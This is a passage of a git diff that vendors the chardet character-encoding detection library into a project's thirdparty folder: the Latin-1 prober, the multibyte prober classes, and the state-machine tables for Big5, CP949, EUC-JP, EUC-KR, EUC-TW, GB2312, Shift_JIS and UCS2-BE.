+ OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 + ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F + OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 + OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F + UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 + OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF + ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 + ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF + ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 + ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF + ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 + ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF + ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 + ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF +) + +# 0 : illegal +# 1 : very unlikely +# 2 : normal +# 3 : very likely +Latin1ClassModel = ( +# UDF OTH ASC ASS ACV ACO ASV ASO + 0, 0, 0, 0, 0, 0, 0, 0, # UDF + 0, 3, 3, 3, 3, 3, 3, 3, # OTH + 0, 3, 3, 3, 3, 3, 3, 3, # ASC + 0, 3, 3, 3, 1, 1, 3, 3, # ASS + 0, 3, 3, 3, 1, 2, 1, 2, # ACV + 0, 3, 3, 3, 3, 3, 3, 3, # ACO + 0, 3, 1, 3, 1, 1, 1, 3, # ASV + 0, 3, 1, 3, 1, 1, 3, 3, # ASO +) + + +class Latin1Prober(CharSetProber): + def __init__(self): + super(Latin1Prober, self).__init__() + self._last_char_class = None + self._freq_counter = None + self.reset() + + def reset(self): + self._last_char_class = OTH + self._freq_counter = [0] * FREQ_CAT_NUM + CharSetProber.reset(self) + + @property + def charset_name(self): + return "ISO-8859-1" + + @property + def language(self): + return "" + + def feed(self, byte_str): + byte_str = self.filter_with_english_letters(byte_str) + for c in byte_str: + char_class = Latin1_CharToClass[c] + freq = Latin1ClassModel[(self._last_char_class * CLASS_NUM) + + char_class] + if freq == 0: + self._state = ProbingState.NOT_ME + break + self._freq_counter[freq] += 1 + self._last_char_class = char_class + + return self.state + + def get_confidence(self): + if self.state == ProbingState.NOT_ME: + return 0.01 + + total = sum(self._freq_counter) + if total < 0.01: + confidence = 0.0 + else: + confidence = ((self._freq_counter[3] - self._freq_counter[1] * 20.0) + / total) + if confidence < 0.0: + confidence = 0.0 + # lower the confidence of latin1 so that other more accurate + # detector can take priority. + confidence = confidence * 0.73 + return confidence diff --git a/src/thirdparty/chardet/mbcharsetprober.py b/src/thirdparty/chardet/mbcharsetprober.py new file mode 100644 index 0000000000..6256ecfd1e --- /dev/null +++ b/src/thirdparty/chardet/mbcharsetprober.py @@ -0,0 +1,91 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState + + +class MultiByteCharSetProber(CharSetProber): + """ + MultiByteCharSetProber + """ + + def __init__(self, lang_filter=None): + super(MultiByteCharSetProber, self).__init__(lang_filter=lang_filter) + self.distribution_analyzer = None + self.coding_sm = None + self._last_char = [0, 0] + + def reset(self): + super(MultiByteCharSetProber, self).reset() + if self.coding_sm: + self.coding_sm.reset() + if self.distribution_analyzer: + self.distribution_analyzer.reset() + self._last_char = [0, 0] + + @property + def charset_name(self): + raise NotImplementedError + + @property + def language(self): + raise NotImplementedError + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.distribution_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + return self.distribution_analyzer.get_confidence() diff --git a/src/thirdparty/chardet/mbcsgroupprober.py b/src/thirdparty/chardet/mbcsgroupprober.py new file mode 100644 index 0000000000..530abe75e0 --- /dev/null +++ b/src/thirdparty/chardet/mbcsgroupprober.py @@ -0,0 +1,54 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetgroupprober import CharSetGroupProber +from .utf8prober import UTF8Prober +from .sjisprober import SJISProber +from .eucjpprober import EUCJPProber +from .gb2312prober import GB2312Prober +from .euckrprober import EUCKRProber +from .cp949prober import CP949Prober +from .big5prober import Big5Prober +from .euctwprober import EUCTWProber + + +class MBCSGroupProber(CharSetGroupProber): + def __init__(self, lang_filter=None): + super(MBCSGroupProber, self).__init__(lang_filter=lang_filter) + self.probers = [ + UTF8Prober(), + SJISProber(), + EUCJPProber(), + GB2312Prober(), + EUCKRProber(), + CP949Prober(), + Big5Prober(), + EUCTWProber() + ] + self.reset() diff --git a/src/thirdparty/chardet/mbcssm.py b/src/thirdparty/chardet/mbcssm.py new file mode 100644 index 0000000000..8360d0f284 --- /dev/null +++ b/src/thirdparty/chardet/mbcssm.py @@ -0,0 +1,572 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import MachineState + +# BIG5 + +BIG5_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 4,4,4,4,4,4,4,4, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 4,3,3,3,3,3,3,3, # a0 - a7 + 3,3,3,3,3,3,3,3, # a8 - af + 3,3,3,3,3,3,3,3, # b0 - b7 + 3,3,3,3,3,3,3,3, # b8 - bf + 3,3,3,3,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff +) + +BIG5_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,#08-0f + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START#10-17 +) + +BIG5_CHAR_LEN_TABLE = (0, 1, 1, 2, 0) + +BIG5_SM_MODEL = {'class_table': BIG5_CLS, + 'class_factor': 5, + 'state_table': BIG5_ST, + 'char_len_table': BIG5_CHAR_LEN_TABLE, + 'name': 'Big5'} + +# CP949 + +CP949_CLS = ( + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0, # 00 - 0f + 1,1,1,1,1,1,1,1, 1,1,1,0,1,1,1,1, # 10 - 1f + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 20 - 2f + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 30 - 3f + 1,4,4,4,4,4,4,4, 4,4,4,4,4,4,4,4, # 40 - 4f + 4,4,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 50 - 5f + 1,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5, # 60 - 6f + 5,5,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 70 - 7f + 0,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 80 - 8f + 6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 90 - 9f + 6,7,7,7,7,7,7,7, 7,7,7,7,7,8,8,8, # a0 - af + 7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7, # b0 - bf + 7,7,7,7,7,7,9,2, 2,3,2,2,2,2,2,2, # c0 - cf + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # d0 - df + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # e0 - ef + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,0, # f0 - ff +) + +CP949_ST = ( +#cls= 0 1 2 3 4 5 6 7 8 9 # previous state = + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START, 4, 5,MachineState.ERROR, 6, # MachineState.START + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, # MachineState.ERROR + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME, # MachineState.ITS_ME + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 3 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 4 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 5 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 6 +) + +CP949_CHAR_LEN_TABLE = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) + +CP949_SM_MODEL = {'class_table': CP949_CLS, + 'class_factor': 10, + 'state_table': CP949_ST, + 'char_len_table': CP949_CHAR_LEN_TABLE, + 'name': 'CP949'} + +# EUC-JP + +EUCJP_CLS = ( + 4,4,4,4,4,4,4,4, # 00 - 07 + 4,4,4,4,4,4,5,5, # 08 - 0f + 4,4,4,4,4,4,4,4, # 10 - 17 + 4,4,4,5,4,4,4,4, # 18 - 1f + 4,4,4,4,4,4,4,4, # 20 - 27 + 4,4,4,4,4,4,4,4, # 28 - 2f + 4,4,4,4,4,4,4,4, # 30 - 37 + 4,4,4,4,4,4,4,4, # 38 - 3f + 4,4,4,4,4,4,4,4, # 40 - 47 + 4,4,4,4,4,4,4,4, # 48 - 4f + 4,4,4,4,4,4,4,4, # 50 - 57 + 4,4,4,4,4,4,4,4, # 58 - 5f + 4,4,4,4,4,4,4,4, # 60 - 67 + 4,4,4,4,4,4,4,4, # 68 - 6f + 4,4,4,4,4,4,4,4, # 70 - 77 + 4,4,4,4,4,4,4,4, # 78 - 7f + 5,5,5,5,5,5,5,5, # 80 - 87 + 5,5,5,5,5,5,1,3, # 88 - 8f + 5,5,5,5,5,5,5,5, # 90 - 97 + 5,5,5,5,5,5,5,5, # 98 - 9f + 5,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,0,5 # f8 - ff +) + +EUCJP_ST = ( + 3, 4, 3, 5,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 3,MachineState.ERROR,#18-1f + 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START#20-27 +) + +EUCJP_CHAR_LEN_TABLE = (2, 2, 2, 3, 1, 0) + +EUCJP_SM_MODEL = {'class_table': EUCJP_CLS, + 'class_factor': 6, + 'state_table': EUCJP_ST, + 'char_len_table': EUCJP_CHAR_LEN_TABLE, + 'name': 'EUC-JP'} + +# EUC-KR + +EUCKR_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,3,3,3, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,3,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 2,2,2,2,2,2,2,2, # e0 - e7 + 2,2,2,2,2,2,2,2, # e8 - ef + 2,2,2,2,2,2,2,2, # f0 - f7 + 2,2,2,2,2,2,2,0 # f8 - ff +) + +EUCKR_ST = ( + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #08-0f +) + +EUCKR_CHAR_LEN_TABLE = (0, 1, 2, 0) + +EUCKR_SM_MODEL = {'class_table': EUCKR_CLS, + 'class_factor': 4, + 'state_table': EUCKR_ST, + 'char_len_table': EUCKR_CHAR_LEN_TABLE, + 'name': 'EUC-KR'} + +# EUC-TW + +EUCTW_CLS = ( + 2,2,2,2,2,2,2,2, # 00 - 07 + 2,2,2,2,2,2,0,0, # 08 - 0f + 2,2,2,2,2,2,2,2, # 10 - 17 + 2,2,2,0,2,2,2,2, # 18 - 1f + 2,2,2,2,2,2,2,2, # 20 - 27 + 2,2,2,2,2,2,2,2, # 28 - 2f + 2,2,2,2,2,2,2,2, # 30 - 37 + 2,2,2,2,2,2,2,2, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,2, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,6,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,3,4,4,4,4,4,4, # a0 - a7 + 5,5,1,1,1,1,1,1, # a8 - af + 1,1,1,1,1,1,1,1, # b0 - b7 + 1,1,1,1,1,1,1,1, # b8 - bf + 1,1,3,1,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff +) + +EUCTW_ST = ( + MachineState.ERROR,MachineState.ERROR,MachineState.START, 3, 3, 3, 4,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.ERROR,#10-17 + MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,#20-27 + MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f +) + +EUCTW_CHAR_LEN_TABLE = (0, 0, 1, 2, 2, 2, 3) + +EUCTW_SM_MODEL = {'class_table': EUCTW_CLS, + 'class_factor': 7, + 'state_table': EUCTW_ST, + 'char_len_table': EUCTW_CHAR_LEN_TABLE, + 'name': 'x-euc-tw'} + +# GB2312 + +GB2312_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 3,3,3,3,3,3,3,3, # 30 - 37 + 3,3,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,4, # 78 - 7f + 5,6,6,6,6,6,6,6, # 80 - 87 + 6,6,6,6,6,6,6,6, # 88 - 8f + 6,6,6,6,6,6,6,6, # 90 - 97 + 6,6,6,6,6,6,6,6, # 98 - 9f + 6,6,6,6,6,6,6,6, # a0 - a7 + 6,6,6,6,6,6,6,6, # a8 - af + 6,6,6,6,6,6,6,6, # b0 - b7 + 6,6,6,6,6,6,6,6, # b8 - bf + 6,6,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 6,6,6,6,6,6,6,6, # e0 - e7 + 6,6,6,6,6,6,6,6, # e8 - ef + 6,6,6,6,6,6,6,6, # f0 - f7 + 6,6,6,6,6,6,6,0 # f8 - ff +) + +GB2312_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, 3,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,#10-17 + 4,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#20-27 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f +) + +# To be accurate, the length of class 6 can be either 2 or 4. +# But it is not necessary to discriminate between the two since +# it is used for frequency analysis only, and we are validating +# each code range there as well. So it is safe to set it to be +# 2 here. +GB2312_CHAR_LEN_TABLE = (0, 1, 1, 1, 1, 1, 2) + +GB2312_SM_MODEL = {'class_table': GB2312_CLS, + 'class_factor': 7, + 'state_table': GB2312_ST, + 'char_len_table': GB2312_CHAR_LEN_TABLE, + 'name': 'GB2312'} + +# Shift_JIS + +SJIS_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 3,3,3,3,3,2,2,3, # 80 - 87 + 3,3,3,3,3,3,3,3, # 88 - 8f + 3,3,3,3,3,3,3,3, # 90 - 97 + 3,3,3,3,3,3,3,3, # 98 - 9f + #0xa0 is illegal in sjis encoding, but some pages does + #contain such byte. We need to be more error forgiven. + 2,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,4,4,4, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,0,0,0) # f8 - ff + + +SJIS_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START #10-17 +) + +SJIS_CHAR_LEN_TABLE = (0, 1, 1, 2, 0, 0) + +SJIS_SM_MODEL = {'class_table': SJIS_CLS, + 'class_factor': 6, + 'state_table': SJIS_ST, + 'char_len_table': SJIS_CHAR_LEN_TABLE, + 'name': 'Shift_JIS'} + +# UCS2-BE + +UCS2BE_CLS = ( + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff +) + +UCS2BE_ST = ( + 5, 7, 7,MachineState.ERROR, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + 